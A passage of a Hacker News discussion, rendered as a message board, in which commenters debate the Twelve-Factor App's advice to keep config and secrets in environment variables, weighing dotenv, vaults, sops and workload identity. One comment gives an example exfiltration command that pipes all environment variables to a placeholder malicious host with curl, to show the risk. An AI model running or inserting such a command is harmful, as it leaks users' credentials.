Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

The Twelve-Factor App (2025)

12factor.net

Post reply on HN
Print view View original

31–40 of 184 posts

Re: The Twelve-Factor App (2025)

#31

Post by sandeepkd »

Its interesting how this felt so natural and right way to do software. I remember people referencing it as the north star. And then gradually people came close to it but moved past it. Personally I feel that these concepts require to have generalist mindset aka application architect. What we have as of today are lot of product engineers within teams, product managers and management. The product engineers do not always have enough leverage or incentives to push for these kind of concepts.

And still at the same time these concepts feel like so much carved in stone that one way or another everyone is going to keep discovering them again.

Re: The Twelve-Factor App (2025)

#32

Post by kridsdale1 »

xander_north wrote: post #24
browningstreet wrote: post #2

I really thought this would be a 12 layer MFA demo showing the absurdity of our current painful & unsustainable MFA trends.

Okay so this may sound odd but this is literally my whole life right now... Can you explain why do you feel MFA is painful/unsustainable? How would you fix it?

We should return to physical metal keys that are unique to unlock the computer.

Re: The Twelve-Factor App (2025)

#33

Post by patmorgan23 »

akoboldfrying wrote: post #29
nebezb wrote: post #16

Still incredibly relevant. Even if you don’t apply it, there is so much to learn by reading this in 15 minutes. The only grievance I have with this is Chapter 3: Config [1] “Store config in the environment”, “Credentials to external services such as Amazon S3 or Twitter” Besides being bad advice, this had the second-order effect of leading devs to believe they could put all their local env secrets in ~/.bashrc files.…

> Besides being bad advice What makes it bad advice? > this had the second-order effect of leading devs to believe they could put all their local env secrets in ~/.bashrc files You need some way to pass secrets to the app; doesn't every other way also suffer the same kind of issue?

Secrets should go in a vault and retrieved with the help of a workload identity.

Re: The Twelve-Factor App (2025)

#34

Post by weinzierl »

theozero wrote: post #30

.env as we know is full of problems... BUT! check out varlock ( https://varlock.dev ) - it's free and open source, and we have really modernized and adapted the familiar syntax (a small DSL on top) to make it much better. Has built-in validation, type-safety, composition via functions, loading with plugins, leak prevention, and much more.

I think the idea to use the environment is misguided in general.

The environment was only ever good for things like GOMAXPROCS where you want a single point of truth for all processes on a machine but in a containerized world even that point is moot. Where regular config in the environment just problematic it is outright dangerous for secrets.

Re: The Twelve-Factor App (2025)

#35

Post by stephbook »

nebezb wrote: post #16

Still incredibly relevant. Even if you don’t apply it, there is so much to learn by reading this in 15 minutes. The only grievance I have with this is Chapter 3: Config [1] “Store config in the environment”, “Credentials to external services such as Amazon S3 or Twitter” Besides being bad advice, this had the second-order effect of leading devs to believe they could put all their local env secrets in ~/.bashrc files.…

"The environment" is not "environment variables" and not ".env files"

For cloud services, it would typically be called a vault. But it could also be a hardware security module (HSM) with bring-your-own-key (BYOK, eg for certificates.)

Ansible also calls it a vault and encrypts it with a password — that file you can check into version control.

Re: The Twelve-Factor App (2025)

#36

Post by phoneafriend »

Yeah this is good stuff. Shocked to click around the site and find Intuit [working to follow] it. Today they get a nod.

Tomorrow it's back to wondering why they needed 10 GUI revisions and a 65% price hike in the past year alone.

[palms forehead; returns to coffee + codebase]

Re: The Twelve-Factor App (2025)

#37

Post by Exoristos »

While this is and has always been outstanding advice, be aware different readers tend to comprehend that advice differently. Make sure you understand your approach moving forward; do further research and hold discussions with seniors.

Re: The Twelve-Factor App (2025)

#38

Post by msmith »

phoneafriend wrote: post #36

Yeah this is good stuff. Shocked to click around the site and find Intuit [working to follow] it. Today they get a nod. Tomorrow it's back to wondering why they needed 10 GUI revisions and a 65% price hike in the past year alone. [palms forehead; returns to coffee + codebase]

How did you see a connection to Intuit? I believe this originated from Adam Wiggins, cofounder of Heroku - acquired by Salesforce.

Re: The Twelve-Factor App (2025)

#39

Post by nebezb »

javcasas wrote: post #21
nebezb wrote: post #16

Still incredibly relevant. Even if you don’t apply it, there is so much to learn by reading this in 15 minutes. The only grievance I have with this is Chapter 3: Config [1] “Store config in the environment”, “Credentials to external services such as Amazon S3 or Twitter” Besides being bad advice, this had the second-order effect of leading devs to believe they could put all their local env secrets in ~/.bashrc files.…

> this had the second-order effect of leading devs to believe they could put all their local env secrets in ~/.bashrc files Teach them to use dotenv. We are moving away from configuration in config files because it is a pain to modify, especially if part of that configuration is secrets. You have to throw everything into your secrets vault of preference, and editing it requires extracting and reuploading the whole th…

My issue with the env is it's not a secret store. Dotenv is a delivery mechanism. If you're using it to put APP_BASE_URL or APP_PORT into your env, it's a very convenient one. If you're using dotenv to put SECRET_SIGNING_KEY into your env, it's as poor a delivery mechanism as ~/.bashrc is.

Processes and subprocesses inherit your environment. Too much can go wrong. Something as innocent as an error logging library adding `{ metadata: process.env }` to every line or as nefarious as `curl malicious.example.com -d "$(jq -n 'env')"` in a dependency you (or your agent) just pulled to test out in your local branch. Exfiltration is free. If you're loading secrets into your environment and _not explicitly cleaning it out immediately_, the security posture is trust & hope.

As patmorgan23 wrote in another comment "Secrets should go in a vault and retrieved with the help of a workload identity." Secrets management unfortunately isn't as easy as config management. I personally like sops[1].

[1] https://github.com/getsops/sops

Re: The Twelve-Factor App (2025)

#40

Post by nebezb »

stephbook wrote: post #35
nebezb wrote: post #16

Still incredibly relevant. Even if you don’t apply it, there is so much to learn by reading this in 15 minutes. The only grievance I have with this is Chapter 3: Config [1] “Store config in the environment”, “Credentials to external services such as Amazon S3 or Twitter” Besides being bad advice, this had the second-order effect of leading devs to believe they could put all their local env secrets in ~/.bashrc files.…

"The environment" is not "environment variables" and not ".env files" For cloud services, it would typically be called a vault. But it could also be a hardware security module (HSM) with bring-your-own-key (BYOK, eg for certificates.) Ansible also calls it a vault and encrypts it with a password — that file you can check into version control.

Confidently wrong. Did you read the source I linked?

> The twelve-factor app stores config in environment variables

Post reply on HN